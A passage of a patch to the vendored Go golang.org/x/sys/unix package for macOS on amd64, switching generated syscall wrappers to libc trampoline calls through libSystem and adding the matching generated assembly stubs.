-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(whence))
- newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1598,8 +2342,23 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_ptrace_trampoline), uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ptrace_trampoline()
-+
-+//go:linkname libc_ptrace libc_ptrace
-+//go:cgo_import_dynamic libc_ptrace ptrace "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int64(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2366,134 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat64_trampoline()
-+
-+//go:linkname libc_fstat64 libc_fstat64
-+//go:cgo_import_dynamic libc_fstat64 fstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat64_trampoline()
-+
-+//go:linkname libc_fstatat64 libc_fstatat64
-+//go:cgo_import_dynamic libc_fstatat64 fstatat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs64_trampoline()
-+
-+//go:linkname libc_fstatfs64 libc_fstatfs64
-+//go:cgo_import_dynamic libc_fstatfs64 fstatfs64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat64_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat64_trampoline()
-+
-+//go:linkname libc_getfsstat64 libc_getfsstat64
-+//go:cgo_import_dynamic libc_getfsstat64 getfsstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat64_trampoline()
-+
-+//go:linkname libc_lstat64 libc_lstat64
-+//go:cgo_import_dynamic libc_lstat64 lstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat64_trampoline()
-+
-+//go:linkname libc_stat64 libc_stat64
-+//go:cgo_import_dynamic libc_stat64 stat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs64_trampoline()
-+
-+//go:linkname libc_statfs64 libc_statfs64
-+//go:cgo_import_dynamic libc_statfs64 statfs64 "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s
-new file mode 100644
-index 00000000..a3fdf099
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s
-@@ -0,0 +1,284 @@
-+// go run mkasm_darwin.go amd64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
